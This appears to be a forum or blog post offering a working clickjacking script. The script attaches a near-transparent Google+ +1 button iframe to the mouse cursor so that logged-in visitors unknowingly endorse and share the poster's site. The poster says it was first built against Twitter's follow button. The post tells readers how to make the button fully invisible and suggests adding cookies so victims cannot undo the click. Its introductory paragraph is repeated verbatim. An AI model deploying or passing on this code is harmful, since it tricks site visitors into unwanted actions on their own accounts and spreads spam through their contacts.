I have seen another thread here that provided code for clickjacking, but the code was very ugly.
What this does is creates a g+ button that follows your mouse cursor around so when the person click on the site they are adding your site to their g+ account sharing it with their friends. (if they are logged into their google account)
This code needs to be edited, rite now its setup so you can see the g+ button just to show you how it works.
When you want to hide the g+ button simple change the line below:
Change: twitterFollowIframe.style.filter = 'alpha(opacity=20)';
To: twitterFollowIframe.style.filter = 'alpha(opacity=0)';
Also, you need to add to the script, rite now the page does not refresh or add cookies to stop the people from clicking again and removing the g+ from their account. This is just the basic setup, you will need to add to it.
Ignore the "twitter" inside the code, this was created to exploit twitters new one click follow button. Then noticed it could be used for g+ as well.
Here's a clean version:
What this does is creates a g+ button that follows your mouse cursor around so when the person click on the site they are adding your site to their g+ account sharing it with their friends. (if they are logged into their google account)
This code needs to be edited, rite now its setup so you can see the g+ button just to show you how it works.
When you want to hide the g+ button simple change the line below:
Change: twitterFollowIframe.style.filter = 'alpha(opacity=20)';
To: twitterFollowIframe.style.filter = 'alpha(opacity=0)';
Also, you need to add to the script, rite now the page does not refresh or add cookies to stop the people from clicking again and removing the g+ from their account. This is just the basic setup, you will need to add to it.
Ignore the "twitter" inside the code, this was created to exploit twitters new one click follow button. Then noticed it could be used for g+ as well.
Here's a clean version:
Code:
<html>
<head>
<style>
</style>
<script type="text/javascript" src="http://apis.google.com/js/plusone.js">
{lang: 'en'}
</script>
</head>
<center><h1>Google+ CJ Code</h1></center>
<div>
<g:plusone size="small"></g:plusone>
</div>
<script>
if (!document.getElementsByClassName){
document.getElementsByClassName = function(classname){
for (i=0; i<document.getElementsByTagName("*").length; i++)
{
if (document.getElementsByTagName("*").item(i).className == classname){
return new Array(document.getElementsByTagName("*").item(i));
}
}
}
}
var twitterFollowIframe = document.getElementById('___plusone_0');
function getDivId(){
twitterFollowIframe = document.getElementById('___plusone_0');
if(twitterFollowIframe == null){
setTimeout("getDivId()",200);
}else{
twitterFollowIframe.style.position = 'absolute';
twitterFollowIframe.style.opacity = '0.2';
twitterFollowIframe.style.filter = 'alpha(opacity=20)';
}
}
getDivId();
document.onmousemove = function(e){
if ( !e ) e = window.event;
if(twitterFollowIframe != null){
twitterFollowIframe.style.left = e.clientX - 15;
twitterFollowIframe.style.top = e.clientY - 10;
}
}
</script>
</html>









0 comments:
Post a Comment